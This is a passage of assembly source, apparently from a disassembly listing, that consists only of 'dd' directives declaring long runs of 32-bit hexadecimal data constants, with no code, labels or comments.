		dd 0D5CAC778h, 7FEE13CEh, 0AEE5C528h, 0B9CC1A59h, 0C8A28B34h
		dd 0DD7904C5h, 0CD1DBBABh, 0FA39819Ch, 0D3559E5Dh, 0AB6088EEh
		dd 3C73C149h, 560ABF9Fh, 0C8791C2Ch, 10712B3Fh,	2DC1EEFFh
		dd 0C3C22285h, 634BA44Ah, 46D3F09Eh, 7FE13668h,	6AA8DF8Eh
		dd 6A49C4F9h, 208B22C7h, 0F886754Ah, 3FF9D29Fh,	3DF9AC9h
		dd 9143A6CAh, 6752CB26h, 2046258Ah, 31F58E91h, 8ECD6B0Bh
		dd 4A7E7322h, 9AD9552Bh, 344B42AEh, 6D7F6E32h, 227AF7EFh
		dd 5EF33704h, 5906909Fh, 8957C86Eh, 7C1CF0B7h, 2C07A55Fh
		dd 0A8D4DD1Ah, 372815B5h, 219222D3h, 0E0761267h, 7E2A7919h
		dd 42F628F5h, 3479F1ACh, 19AD3E99h, 0F2152295h,	88E8875Fh
		dd 0F6403DE7h, 0D9745421h, 0DF401A0Ch, 0FCD8A5CDh, 0FE949E87h
		dd 8E839C67h, 0D1D843B2h, 95A0B249h, 5B7BA234h,	72DB532Ch
		dd 6C1560D7h, 8C87713Dh, 2B6C37D7h, 0A7B5213Fh,	0FC236763h
		dd 0AE67ECFBh, 0B63CC3BAh, 6A57835Fh, 666A55BBh, 4D376265h
		dd 9C13E79Ah, 0DF420784h, 0E6792BF2h, 0E5B7B295h, 76388F96h
		dd 0A2231D03h, 3C4335A8h, 1D6E4935h, 64C1420h, 0B1F7702Ah
		dd 2C64874h, 9AA56106h,	78A94117h, 0C3E0BC49h, 1A7EDD8Dh
		dd 1C13FDF0h, 347FDBD3h, 0C2E9187Ch, 5A2A939Ah,	0D825FD1Bh
		dd 0E0C0A61Bh, 1904456Ah, 71803C1Fh, 0ABB19A2Eh, 0E25E5780h
		dd 72BE4C2h, 982CE8ECh,	0B615FCD7h, 1BDDFF0Dh, 5B41DEAFh
		dd 304C2A91h, 0B0CD3FE8h, 46A3C203h, 8286B920h,	4515860Ch
		dd 0B8F9FF99h, 9B84E750h, 4F24B709h, 0B4C2A696h, 0A9F0DE13h
		dd 579AF5F6h, 9526F9BCh, 5DEF4539h, 2BEB6BC8h, 0FF7E498Fh
		dd 7F858097h, 0E12A61BAh, 25FE8A27h, 0E7BA4A66h, 0D9153950h
		dd 0F8CA03DCh, 0C79CC388h, 28423EBh, 10FB8847h,	36C24C24h
		dd 29EFB340h, 347FB87h,	0A91B75E6h, 567549A5h, 7D7C2199h
		dd 0B79BF887h, 0AB7E7E0Bh, 0A3C71593h, 0E7B44EB7h, 407F8ED9h
		dd 0C0688650h, 0E8952776h, 8F5E7E00h, 327F741h,	9A5A732Bh
		dd 988F1A9Fh, 9764882Bh, 0BE84E633h, 66575C76h,	91125987h
		dd 365F8BAAh, 0FBFA6C4h, 91EE91CEh, 0CD9449CEh,	0F70F63F2h
		dd 0C1E29CF2h, 0BE2646FCh, 14430270h, 0FCD12585h, 0C006CDE1h
		dd 36A4F8CAh, 6FE63CE9h, 0DE9A4A9h, 0F9D4BD82h,	75179ED1h
		dd 3BF331Fh, 3AB817Bh, 3D602C33h, 0C3D45542h, 9966FC14h
		dd 2A87839Ah, 4986723Fh, 69B3318Eh, 276F0E76h, 0B94DCFC1h
		dd 1D650AD0h, 738C5B1h,	6CED1989h, 0B16A418h, 0DC1DD8C1h
		dd 0AB571594h, 0B222EF1Bh, 5D866E6h, 0DAB5475Eh, 0DD3F7DAAh
		dd 0A33B5DEFh, 87F1CC11h, 0CE644FE6h, 363C7954h, 66E356BCh
		dd 7FAFFB4Ah, 0D9E985D0h, 0D5AB9E36h, 298DA78Eh, 0BB603CF6h
		dd 2CC07EB0h, 9DB7E115h, 0F29C6732h, 0AB4E66E8h, 0D5F33FE9h
		dd 0EF4210F7h, 532E2AB9h, 924D140Ch, 5E3B7B54h,	1A3DED1Bh
		dd 471659C4h, 746FF51Dh, 6B665CACh, 0BD0C9CB9h,	5A8DE60Bh
		dd 0C7F738F7h, 78CB1DC9h, 29354503h, 0B19128CEh, 0CEC47CD6h
		dd 977D19B4h, 8CA6A028h, 0B8F336CAh, 0AADB9EF0h, 0CECEA3D6h
		dd 0B11D0CB8h, 0DA070F3Eh, 0F2074D37h, 7D2DEAC5h, 20C6735Eh
		dd 6707873Ch, 298B72E9h, 29283941h, 667574C9h, 4E665233h
		dd 0B70DB26Fh, 6CCC2DB7h, 2071E113h, 0C9DABC33h, 5CD03BB7h
		dd 6A53E532h, 0C2C7B6B0h, 5757C5BDh, 0C47C4357h, 3BDFFA2h
		dd 6FA139D5h, 0D70D90D2h, 0F5F99A09h, 3B5D58C5h, 0D0CC86F8h
		dd 69DC62DDh, 5010B318h, 0D16DC302h, 8157F398h,	270E9B13h
		dd 23B303EFh, 10233B51h, 0B0B8417Ah, 0CAA54D95h, 88730332h
		dd 901FD182h, 8CF95E53h, 0E240B606h, 300BAC34h,	79F1766Fh
		dd 0CEF36500h, 0F8E74D81h, 4E59CF52h, 0FD6C81DFh, 0EB71E4Bh
		dd 4FA3183Ch, 0C4E3BBB2h, 0A805A1D4h, 0C446C7A6h, 0ECF772BBh
		dd 0EA6D3BEAh, 27D53E47h, 0C04B697Fh, 0A0A26EBFh, 0CF2D2173h
		dd 2CAB1E40h, 49E1FD51h, 0B7785904h, 0EFE9751Fh, 0BB4A486Eh
		dd 0B7FC3A65h, 73DDE9BBh, 832312C8h, 327AC981h,	39601957h
		dd 3042142Fh, 4E4E465Dh, 58D5AA58h, 1B74A7ABh, 0EE7D7DD9h
		dd 6C49F859h, 0F9328924h, 0F48D2850h, 0BD99B2EFh, 0FBCC34Ah
		dd 1503C067h, 0DFE4241Dh, 0AF669B2Bh, 8FBB3206h, 0BC95F9CBh
		dd 0E84775E6h, 65E8C089h, 2C746491h, 6A4988BEh,	0D424EA02h
		dd 0A2AF3294h, 7D9E4867h, 94509B4Dh, 75567F0Fh,	91780F24h
		dd 53128A2Fh, 0F8AD0152h, 0D1ADBF11h, 32CBDFFAh, 95C3E7D1h
		dd 0A2C47C9Fh, 0B3040A87h, 965D96C0h, 20B926E2h, 0B30D1D5Ah
		dd 75020700h, 0FB9A5722h
		dd 0BC420CCCh, 0A084E226h, 0FF41E617h, 632737F0h, 0CCEEF2B9h
		dd 975DB317h, 0DF12CE53h, 4DFE053Dh, 0E072198Bh, 0F0ACC55h
		dd 17F446E9h, 84735DFDh, 9BB0A43Ah, 0F256A898h,	59B55737h
		dd 16FEAAF6h, 4FA4599Ah, 0F9FFF0DFh, 0D02C65F3h, 5A4AFB71h
		dd 0E48EF439h, 7E8D8C3Ah, 36790BD1h, 5C4225FBh,	0E9976FE2h
		dd 3E266F45h, 9454E12Dh, 0F2BD5A40h, 81D317C0h,	2F5564BDh
		dd 0F2BCB1AFh, 0F0C748F6h, 0CD69B957h, 0D533AE71h, 8BB8B2B9h
		dd 62643F98h, 36232D63h, 6C05C3F1h, 0AAA33538h,	0BAB52529h
		dd 10E97F9h, 0CC836DA2h, 20472B5Fh, 5C6BADF2h, 0D71937Ah
		dd 0D27C9F83h, 84821865h, 0A572DBBh, 0CB0286BDh, 486845D3h
		dd 0C4EDC9CAh, 4FBDECC4h, 384A88D1h, 0FB4F7EC0h, 0D98B6940h
		dd 986AF69Ah, 51757C4Ah, 0E5666BC2h, 0F327D395h, 0B32F8AAEh
		dd 0A75FACFCh, 442F5C29h, 1290C6C7h, 0BCBB140Ch, 0CFFF1394h
		dd 2B73EB04h, 3351AE9Ch, 5AE2815Dh, 7341489Eh, 6B17A9C8h
		dd 2047A499h, 9B329A4h,	9C5CCD65h, 0DC069D3Fh, 0E45E8A89h
		dd 0ABCCB464h, 0FA3DE4CCh, 8FAD1D9h, 0E0A78560h, 6E278039h
		dd 6C9A318Ch, 922C424h,	595422CFh, 8A49CEBDh, 50C5921Ch
		dd 29C19D99h, 8DF898Eh,	3EC09A7Eh, 0C72F00B5h, 43A0D3B2h
		dd 0A57FDB54h, 0EBF309B7h, 0B28B3297h, 4EBB6DF4h, 35B1D2C7h
		dd 1C6C29D0h, 38B1BB22h, 7211F0F3h, 26DD0367h, 0B2211D26h
		dd 0AE78307Bh, 0EB55213Fh, 442E9FBEh, 5D7A2CEBh, 0C4EC39C0h
		dd 0AECE056Bh, 740B0417h, 1D8D87F9h, 9A8EB62Ch,	1B6F68B6h
		dd 6BD6DC6Eh, 4D8879C8h, 0C98FA1F8h, 0E3E66F43h, 4CD26B89h
		dd 0E6EC6AB0h, 7DE0B634h, 0CF0884A1h, 0A39FDF00h, 0C2F13B22h
		dd 0C2FADD7h, 2747CDA7h, 0D9109B88h, 346045F7h,	1DAF8F83h
		dd 0C375C3F0h, 270F70D7h, 0BB1F567Dh, 7A239C98h, 0E6E8F418h
		dd 548AB5E0h, 3157A491h, 23B7FB4Bh, 0BA6D7D0Fh,	0B2DB9AD7h
		dd 652DE562h, 1A472A16h, 0E83C0D3h, 0CBE34E2Ch,	0ADF6CE93h
		dd 0BE2EF0BAh, 3D4A96A6h, 92C698B5h, 0B9216FF0h, 329286DCh
		dd 0F94D8610h, 35B60E47h, 9254462Dh, 88F38BA2h,	818DAB36h
		dd 0FA47B02h, 16106A62h, 0AD100B26h, 0C6AAB023h, 997225A4h
		dd 0B3B9ECC3h, 72CA531Ah, 8ED3E025h, 7136508Bh,	72916D52h
		dd 9687B212h, 23FC33B2h, 975FFF71h, 1376047Ch, 891B33D8h
		dd 809F6ACFh, 13BCC02Bh, 59378F14h, 9F06169Bh, 4DD6F82Fh
		dd 0ADA11FF1h, 0F4D19816h, 5F4DBD43h, 4CE8C72Eh, 0EDFCDF4Ah
		dd 0D78C6A2h, 5B20C5ACh, 837A76C2h, 2C9E5088h, 83B34F78h
		dd 0FF5B2FAh, 0B2CF40D4h, 7A032D32h, 29605A28h,	347CE504h
		dd 0BC0DE7F5h, 0F615F98Bh, 6A7D2137h, 5D31A7A9h, 0E5CCDDC7h
		dd 7A0C622Ch, 5A4AC327h, 9F7C913h, 6B8F2F89h, 1F6C0E40h
		dd 0C74C3BE0h, 0DAA5AF57h, 227F247Dh, 3D9749B3h, 0E32C27CCh
		dd 0AC9E1ABCh, 2E346B94h, 728D074h, 0BBC0AD0Bh,	4BC4E1A4h
		dd 0ABD03D60h, 859E0C43h, 5EA7D032h, 0F3A81E84h, 0EB3DEE09h
		dd 4FEBC023h, 0BB82D5B8h, 5CF0FB27h, 0A351BDD8h, 0E5F30B17h
		dd 49A6E3DBh, 0CB87EB08h, 0C7D7F738h, 135F10A3h, 8F3AEC11h
		dd 9D6ECEFCh, 0AEF393F4h, 5A17258Bh, 0B077D00Eh, 775458Bh
		dd 277A030Fh, 530605DEh, 49E2AC0Ch, 67F95F61h, 58A15E6Ch
		dd 0BDCD4EC9h, 621FCD28h, 0CA735A27h, 1E320AF9h, 4291713Eh
		dd 25DF7BDFh, 0F19ED7D3h, 0AEB201A4h, 3587E58Fh, 0EBB968Ch
		dd 0D63F1B92h, 222FC76Bh, 48FF32C2h, 13F305CAh,	9E5ADB7h
		dd 4052FB4Bh, 64D928B0h, 3CA2EED9h, 0DBF091Bh, 6A30AF72h
		dd 0A450D8B5h, 32F126D6h, 0BB7C64D6h, 3D9A184Fh, 517EFF91h
		dd 843893B3h, 8504F6DBh, 0DE572A5Dh, 5D6E5F64h,	0D8D4D1Eh
		dd 94B37328h, 14D147A0h, 989FFB6Eh, 4963BF44h, 0EB724296h
		dd 0C7AE68DEh, 92392DC0h, 0CF3175F5h, 0BB596163h, 26D87961h
		dd 0A2A86E2Dh, 0EB955BCCh, 1FD129CAh, 20B4DC84h, 0A68E173Ch
		dd 0CB558849h, 109FD20Ah, 38B5783Ch, 83870C8Ch,	6EFDA786h
		dd 0F1212159h, 0E0EF813Eh, 0B8B77FCDh, 0C870445Ah, 0A04F35FDh
		dd 7161F938h, 365715Ah,	0A58A28B7h, 8ADAEF28h, 3CAFD087h
		dd 978DC44Bh, 0E4F90CE1h, 0B02CC067h, 0A2715970h, 0B7E44139h
		dd 2F0F0173h, 6A733174h, 76FF3300h, 9429C61Eh, 0D5F34909h
		dd 2408906Ah, 7C81BC82h, 17DDCA8Dh, 4715D9CAh, 0FC8C6DBDh
		dd 0F5046E65h, 0AF572EB0h, 2C886616h, 3B86293Ah, 97116160h
		dd 3E0C331Ah, 0D3407161h, 5E359246h, 93295E75h,	0F3B53F36h
		dd 0A182B909h, 2EE387AFh, 9679E91Fh, 4EEDC8BCh,	0AB2819E4h
		dd 0A9DEDDABh, 1346E7B4h, 42927E62h, 0AE2B2C31h, 0EDBF5799h
		dd 0FA0134C2h, 214A9F72h, 170BD208h, 0D30D80C6h, 49743797h
		dd 0D5CC97E3h, 0D0EC8E5Eh, 897B46DCh, 4FB736A1h, 925D11FBh
		dd 0CE44A9EAh, 6A584FDh, 53CB924Fh, 69183071h, 57D23801h
		dd 6962B665h, 9C0C9747h, 0C71C1BF0h, 0C7BF5F75h, 3534D226h
		dd 65259368h, 7F4F7476h, 0BF158097h, 0BB3F4B49h, 12568658h
		dd 50ED5022h, 0D45465BCh, 91FFD31Eh, 0A9AEB39Ah, 0EF07C471h
		dd 5EF7CEC3h, 227FAA89h, 611C5439h, 592A8D12h, 4964E617h
		dd 864B7FE2h, 718B7600h, 54FF40E1h, 2B92868Ah, 7D5E49B1h
		dd 28FEC66Bh, 48EB1E93h, 7BD3E873h, 0C5BD1ECh, 0DC72F988h
		dd 6AEDB3C3h, 0E8C79437h, 8D14CAB1h, 818856B3h,	2FB3A810h
		dd 0B1FCDF0h, 0C42F4E35h, 0CBC12BBAh, 0A06D2912h, 0C4C06319h
		dd 0CD2B85B6h, 766D50A5h, 5B9EAF27h, 946172E0h,	2368091Dh
		dd 69DD21CAh, 9C4B9FDFh, 0A7F3DA6Ch, 2D663276h,	860403Eh
		dd 0E29AD4AEh, 0F97F936h, 56B01974h, 8799569Ah,	0DBF948h
		dd 39BE0ECh, 9FA36C45h,	1F5D0583h, 40F06E86h, 5BD369D9h
		dd 0CED74139h, 0A7FDF859h, 4A2A0F07h, 91319F1Dh, 235560ECh
		dd 826BFCE5h, 4CD71282h, 0F1DB5088h, 18CD3874h,	758D8FC0h
		dd 40F4C894h, 53288A8Eh, 0B448331Bh, 0AA38CB39h, 83C8FD2Ch
		dd 0D9C80294h, 16761413h, 32F5EC61h, 7A5C72C7h,	0E055D298h
		dd 46ACC12Ah, 10981DA0h, 0BA4D694h, 2B4B521Eh, 0C8F45E8Ch
		dd 0FFDB9B37h, 892C86C4h, 0D9FCF603h, 0CFAF514Bh, 0B99B4A73h
		dd 0A21F656Ah, 0C3EDAC52h, 0C5DF0A7Eh, 62F74A32h, 0C97B3287h
		dd 23DAF706h, 0AD1E7888h, 313D777Dh, 0DB4D8502h, 0E57AAAA8h
		dd 0D5C0550Ch, 0DB4F7E8h, 21CC4467h, 0ECD986A0h, 54082CEh
		dd 0F2206811h, 0DE8D13D7h, 0D0F11529h, 5EE45D41h, 0DB60E0C2h
		dd 4633DBD6h, 10B51921h, 274F00C0h, 0CD788619h,	4E4E19B9h
		dd 0C449C8C0h, 0BF3A9363h, 0D57C97E4h, 0F9857FB6h, 72501E5Dh
		dd 0F0A0C22Ch, 993DCC6Eh, 0F9E9F3E2h, 84CB989h,	98C3DDB9h
		dd 4279CE12h, 30A812B9h, 16D6CEF0h, 6E486F55h, 8928865Eh
		dd 0D1ABD218h, 0DDF24BA0h, 34A7D0FCh, 7C7ECC11h, 0C60F2F15h
		dd 7A9EAE9h, 69E9810Eh,	50A07468h, 7C7D7510h, 28038923h
		dd 9E7306CEh, 350C2528h, 6CF4A75Dh, 52EE2420h, 5A47F2D9h
		dd 0CED851A1h, 0C055AC30h, 6696C812h, 0DF6660C3h, 0FA4012D6h
		dd 19DC4C1h, 42F4FF0Eh,	0DA09E720h, 0C8C4F233h,	9CA65333h
		dd 0A8B6CBC2h, 0DEB2DC73h, 0C4265C1Bh, 0EDAFEF23h, 6C28D2A5h
		dd 0F106626Ah, 3AED3778h, 19483267h, 0DC0333C0h, 6E6930EAh
		dd 0FCD32E83h, 83B00DD8h, 0CB4035B2h, 3AE2C70Dh, 105028C7h
		dd 6BC0BC6Ah, 0A392ACDDh
		dd 0FA1DD6A6h, 0E757EE40h, 66AE092Dh, 0F7BE4FCEh, 0C4E7554Eh
		dd 6960F877h, 1638C83Ch, 7FC241E0h, 0CC9EE8C5h,	1E7A8365h
		dd 0ABD49E41h, 14347E66h, 39D46CE3h, 299C7256h,	0F1352681h
		dd 3CD36428h, 0BED3821Dh, 0EFD37E9Ch, 7221EC9Fh, 0FF5F6D84h
		dd 0F830E283h, 221C868Dh, 35F965B9h, 21D1A777h,	4E387339h
		dd 97F197FCh, 2B98FD06h, 26CE3BC9h, 0F84C96A2h,	26997669h
		dd 9EC921FFh, 19BA447Bh, 4E91F81h, 42B06BB7h, 0FA625626h
		dd 0F0B4FCE7h, 0E05316C7h, 983DAD23h, 0A0404EE0h, 9063CDE4h
		dd 9A73910Eh, 78E70D88h, 1DEAE403h, 3EAFB093h, 4A12E746h
		dd 315A6384h, 18EF7174h, 51D34C82h, 0A6BCEC8Bh,	1EF41762h
		dd 48192DBFh, 74BBF681h, 253D5A1Fh, 1A2013E7h, 0A00AE7D7h
		dd 0E3B631ABh, 7A1C3EC6h, 0A064BFBBh, 0F3F085BDh, 0B4C09E73h
		dd 637F9030h, 5E0D7B27h, 952BEEB0h, 43D4EB29h, 33274EBCh
		dd 0E1340B68h, 10CDF4CCh, 0E9A33235h, 21989CFEh, 0A4D12D5Ah
		dd 2D929514h, 599CD479h, 0E7795738h, 0DEF59ABFh, 9B907D26h
		dd 802AFDDh, 436CFE83h,	0CF7899h, 8BF6C84Dh, 8BE03BDFh
		dd 51EBF47Eh, 682F95AEh, 0F38BDBCCh, 87077EADh,	199DE22h
		dd 2F60999Ch, 271965B0h, 247C1D4Dh, 0E3DB9649h,	88916498h
		dd 0F992FC3Fh, 9DB508AFh, 0ACA5CD24h, 7F3BD62Eh, 0C2F2E7EBh
		dd 1C758756h, 0B1488A16h, 91C61205h, 6530051Ch,	6B8E17ABh
		dd 2172BA08h, 1526872Eh, 798DE0AEh, 3198B41Eh, 0E6CF6579h
		dd 0C1D6CD10h, 5CB69B07h, 0E4FF8E7h, 699EF068h,	3AE37032h
		dd 0A141862Dh, 0D28F0999h, 25A0E107h, 0F9F7C41Eh, 36623E55h
		dd 46E24A12h, 0E821B05Ch, 0BD8000DFh, 0A70091FDh, 794049B9h
		dd 0C95CE079h, 0EF287AD0h, 2EF388F1h, 52E6A5Fh,	0B4F7DDB6h
		dd 0A02A1243h, 84E2A4CCh, 0DD3111C4h, 0EBAFA9C7h, 0B2873F7Ch
		dd 0B65FAE36h, 3587A6D5h, 3EAE3CB1h, 44353EBAh,	0E47A5C3Eh
		dd 9FD539E4h, 30D97357h, 0B0D6A345h, 0F32E9D53h, 8FF76FAFh
		dd 7BA03086h, 67D8E8F7h, 930EF652h, 0B1C8775Fh,	0B5BF68ECh
		dd 1EBCEA9Ah, 34C09894h, 8008677Dh, 6A7E9140h, 6BDAFC48h
		dd 0D8BBB536h, 5BFFD7F6h, 0E1649E2Eh, 0B47454D6h, 32171104h
		dd 8765D7D9h, 0ABA32AACh, 0A29080F8h, 0A0D3C3CBh, 749A89AAh
		dd 5BEE9C34h, 3C558AE6h, 52465091h, 6DA0E68Bh, 3BF43AFAh
		dd 0EBFED8EBh, 180F9EB0h, 2EC02390h, 175F0526h,	884A916Eh
		dd 8CFAF14Fh, 0CD28CAC8h, 22EAAAC2h, 3C1DB641h,	0F7296231h
		dd 6E907B2Ah, 2E85329Dh, 4942FD30h, 0DBCFAD7Dh,	6398BD0Ch
		dd 4A4E719Ch, 0A3C5A38Bh, 77472B82h, 0DA7A61DDh, 0CA59791Ah
		dd 2DFCC47h, 868193BBh,	54B9EE6Eh, 0A7EBE22h, 0CD8C5EFh
		dd 4F3EFF47h, 0FAB95067h, 0CCB72C2Eh, 2F7B0CBEh, 0D5ECD90Ah
		dd 13267094h, 53FD1DBAh, 0E2B63950h, 0AD1BA55Dh, 7B366BD5h
		dd 80AD015Eh, 0E79306BAh, 0A09C5E00h, 2D0ED32Ch, 949A9151h
		dd 4927C3B1h, 86BAC01Eh, 916788D1h, 5ABEC205h, 1EEC83C2h
		dd 0E0DF1DD6h, 2FF7E69Fh, 3CE14B9Dh, 0D39A756Ah, 0B9935DE2h
		dd 0DA1C44CEh, 0C90F33h, 0CD69533Dh, 13EA3244h,	0E2AAD5C1h
		dd 284F6C59h, 327B072h,	79C5A3A2h, 3555F2BEh, 0B85C594h
		dd 0D2EF39B2h, 866F755Eh, 0EB3CA7BDh, 705CC05Ah, 0A3DD0D2Dh
		dd 0C07787DCh, 0B062E15Fh, 3B8E9563h, 82A96CF9h, 328A6D1Bh
		dd 68BE0443h, 0C993E7B3h, 0B2B704BBh, 0AF46C7CCh, 0B42BE5FAh
		dd 0D6E29224h, 251C24F9h, 0E52611C1h, 330D1265h, 9EEDBA4Ah
		dd 688FBD47h, 0C8529A66h, 559AD48h, 0BDDBAC51h,	32FF570Eh
		dd 160FE344h, 0DA23E885h, 0B1536001h, 0DFA5AD4Dh, 1394332h
		dd 7378C942h, 0E260A336h, 0FFA2C599h, 0DB2A61B8h, 0EEA29E43h
		dd 0DE7D5D8Fh, 0A88E80C6h, 84D80FFh, 0F5715D37h, 4C9C4694h
		dd 7C382073h, 6EAC8385h, 0FEEE9EECh, 0A641CCB8h, 0A50ACB6Ah
		dd 0D4389E58h, 0A5B4D220h, 8712DCD6h, 0B05C4236h, 0F2932363h
		dd 1FAA575Bh, 4BDC4404h, 824C515Ah, 3ADA280Ch, 4E7925EEh
		dd 7E386B8h, 2BED8AB2h,	661C1B40h, 0AF0E6774h, 29E5E232h
		dd 709CAEA2h, 0B3D9099Fh, 0CB5FFE5Ch, 0DC11AEEDh, 0D9A3184Bh
		dd 3594C38Fh, 0F1CDEE88h, 10CF79Bh, 2EB0D86Ah, 81F6102Ah
		dd 0D864E3FEh, 28ACFF71h, 0BA78A1F2h, 99E712EDh, 0E7C0D026h
		dd 8F739329h, 0C496EA31h, 7589BC7Bh, 727EF9ACh,	79F98B5Bh
		dd 27B0CC12h, 24AB901Ch, 0C896BA24h, 153E3829h,	4072334Ch
		dd 5C5F5A48h, 5C2E3267h, 6D8B592Ah, 0B055975Dh,	5A21859Dh
		dd 7361715Dh, 6FE15885h, 0DCB5EF0Fh, 0AEB2EE6Fh, 0F91CD1C3h
		dd 0AB569290h, 22B2E1D2h, 0A56A3803h, 5C6CC631h, 2EBF0C0Fh
		dd 2F81B0D3h, 8F19CB4Ch, 81F319Ch, 2F842E63h, 0DCD891E0h
		dd 0CD2DC987h, 8B818564h, 5AAA40h, 0E1E03EE4h, 0C99F6BCEh
		dd 23D86EB1h, 0C176F24Eh, 0C406AEDEh, 1CB4D1E2h, 430BA772h
		dd 991E70F9h, 37735230h, 44E096EBh, 0F45BB55h, 0FAA23385h
		dd 67CB72F7h, 5AC50A54h, 0DB11D73Eh, 67BCBF1Eh,	0B3C54564h
		dd 0AE311B5Dh, 0C4E33FF2h, 3915810h, 0FB2FE040h, 5EDFC94Fh
		dd 158DABEAh, 0B7C69BDAh, 9014D0DDh, 0A02D3FD5h, 0E5733552h
		dd 0EEAD006Fh, 20F319B4h, 0D428F2B9h, 514B4DDDh, 759703EFh
		dd 0A466425Dh, 6AB2B642h, 87F847B5h, 0C1770B89h, 0D64D8141h
		dd 375D02EFh, 0FB66C640h, 7508A680h, 0E059FBFFh, 922003FBh
		dd 8ECDA423h, 0C8322180h, 7242501Fh, 36143AEEh,	0E2D64B0Dh
		dd 679BC396h, 0C3C3B6EBh, 975482F7h, 0AD63C403h, 34945E33h
		dd 0D1DF12Dh, 5655973Ah, 36BB93F5h, 5539AEF3h, 430D8264h
		dd 0D259B9h, 3DBD1762h,	0E5225191h, 0D8644D8Dh,	7FFE2014h
		dd 9A842EE4h, 0B8A73DB4h, 961A9BC5h, 99220F4Fh,	681CF347h
		dd 0C1EECD02h, 80160073h, 0C43637C2h, 8354E767h, 0DAA5AC77h
		dd 0EC0B608Dh, 86E74E04h, 819FADF0h, 5186D45Bh,	9DEE5403h
		dd 0B0DB192Fh, 841481FFh, 0A75F7727h, 71B5934Fh, 0F2C289CCh
		dd 84770863h, 0C8096630h, 0A2C04440h, 0DB6B89CFh, 340B4309h
		dd 0A8A05F96h, 5E52B27Bh, 640B1BA4h, 1F3B90Fh, 0F2E47D0Bh
		dd 80B63E1Bh, 0A4E21A7Dh, 21CEE339h, 868099C9h,	0C61851A5h
		dd 0DF4DA1D1h, 3D1C3C9Fh, 0BD362DE8h, 0E8A52ECCh, 0E30B8811h
		dd 0B42CE734h, 0D56113C4h, 0FDDB8130h, 0AE9349E2h, 6375DE47h
		dd 0D4F04DB8h, 0DE5F627Dh, 0AF50248Eh, 0C711FC42h, 2BE36F32h
		dd 0C5000047h, 71E9A14Fh, 3E47C2A0h, 0F0D928FEh, 10A003F7h
		dd 4DAC7F56h, 0EEA4D980h, 92983243h, 71C09E9Dh,	0E040255Fh
		dd 0B3DE61BAh, 0C7784D26h, 5FB431A9h, 0BE4702E7h, 552D83F9h
		dd 47CB9DBBh, 0E18693Bh, 6C6D24B2h, 0C1A0F234h,	0E5522A8Ch
		dd 0B0CAD31h, 3187B40Eh, 0CFDB5D39h, 0CA5B98Ch,	2285B745h
		dd 537507FDh, 3B1937A9h, 54D7D985h, 709FD2E5h, 69847331h
		dd 7BE19CE3h, 0E7496EB4h, 0FE5FCDCAh, 6F7206A8h, 0E2EC74DFh
		dd 7BD08908h, 0BE8A6E4Eh, 9FEE1B9h, 0EA367B34h,	18A0BB3Ah
		dd 0BCCD2A9Bh, 0D0E180C4h, 0D2FB69B8h, 97D2B088h, 0D91CB16Bh
		dd 0EC698907h, 4BCF8D7Ch, 71B15E84h, 787C258Ah,	663FA7CBh
		dd 0D1B5C35Dh, 42F243B3h, 8A3FEA66h, 830C3A9h, 649EEF26h
		dd 0D9983DAEh, 31A92CFDh, 0AB64EDBCh, 341278C2h, 0BD3187DDh
		dd 97D28603h, 74778AEBh, 0C28C798Fh, 0A772CC9Bh, 4D7CA5B8h
		dd 7D2557B2h, 0F974E3CCh
		dd 0A4B151CBh, 61B9D151h, 190FC6A0h, 0DDF7054Ah, 0E12F68D3h
		dd 412EB5B4h, 0FD8D3538h, 0BBD28B4Dh, 158188Fh,	0F354D295h
		dd 3E9AD9C2h, 1B5C120Eh, 1931A707h, 536ABCB1h, 3BBAB80Ch
		dd 65DC3692h, 93E03E60h, 0D5BECFFEh, 0BBFB955h,	3E647C51h
		dd 198F31Ah, 45AB5EDBh,	67480AC2h, 9B93E0DFh, 0BC341511h
		dd 0CC33584Eh, 0CD961297h, 75E8510h, 85C6DAB4h,	9D6842FDh
		dd 0EA9A9EFh, 7BA74BFEh, 3A7A6498h, 0E3F44DBAh,	61155E28h
		dd 144AEA7Fh, 0D4711D6Ch, 8F2F4C6Dh, 0BD8D4F4Ah, 0D50753DFh
		dd 9E1CE2E4h, 94D267A0h, 3D039791h, 345DA7C2h, 0CC19344Bh
		dd 67E4F2F4h, 45879B51h, 4F6C152Ah, 9B56BB6h, 0D4B8F34Eh
		dd 0CD876766h, 0D60EBBE6h, 0A5D31F42h, 9EE39A6Bh, 0B9FC5D25h
		dd 0CCF1ECA4h, 6CA80F7Eh, 0D1233366h, 0AE74363Dh, 555A22F4h
		dd 5FE752E7h, 0B797C30Ch, 7E3D8D8h, 0BE9AF277h,	585FB6D0h
		dd 0C7906DBFh, 67410DA4h, 0BFA505AAh, 846CD764h, 1CAE1870h
		dd 0D3566B12h, 0E8CDC8D1h, 0DAE44D6Fh, 0B1EE65A2h, 8E6FAFB3h
		dd 64231C29h, 1EA76D28h, 3B097E0Fh, 70620ABFh, 3D22E11Ah
		dd 0AABFDA01h, 0BCEA14B5h, 9CC91FDh, 8D74114Bh,	3BF7BB70h
		dd 84575DB8h, 0A658D7A7h, 0FB8294C6h, 4EAB026Fh, 0D9BC52A6h
		dd 92A549FBh, 18A7E267h, 9DF78450h, 4AF8AC5Bh, 4C48849Ch
		dd 7C6E10B7h, 256F959Dh, 0EBAFD473h, 0B8E0FFBFh, 2C2AB6BAh
		dd 0FF52ABE2h, 0C20F8908h, 47CEE7B7h, 0F9F6B02h, 0A36AC523h
		dd 3D02C5EBh, 1BD1BAB8h, 0F10A6E6Fh, 74EFD327h,	73A77814h
		dd 7DD12E38h, 0FDE078BCh, 0CA7380ABh, 27FE9Ah, 0CF28C5FBh
		dd 6A54DAEDh, 0CA4EB759h, 298D6BEBh, 74011E6Dh,	904B624Dh
		dd 382E5B12h, 0FFF85125h, 6D66464Fh, 63069049h,	0D7390A96h
		dd 940784B7h, 1CB63AB6h, 98A60E46h, 0AA03CD37h,	0C412259Ch
		dd 0FED23BC7h, 4AB05A44h, 0F0B2CA5Bh, 0E90F3C90h, 0A4711E93h
		dd 4EA6D120h, 0E83E25A2h, 0A0B418D4h, 0D1553E42h, 46909358h
		dd 0B7F97C98h, 0DEF29635h, 8343A42Bh, 98395A4h,	0FD9B2FADh
		dd 2F7A96F4h, 461241C2h, 0CD0B71C1h, 487C1F82h,	0DFD65218h
		dd 38F0D444h, 380E5AB7h, 4EDCF8ACh, 0C7ED9A59h,	223D3535h
		dd 6089D8ACh, 5C80967Fh, 7E946E32h, 1DFF4F12h, 85C66524h
		dd 5D377AABh, 5F2F1A90h, 56B2B7FDh, 2F288080h, 5593A3B0h
		dd 72C3C4A5h, 46432C6Ah, 5A37B9ECh, 72886792h, 6B7B901Dh
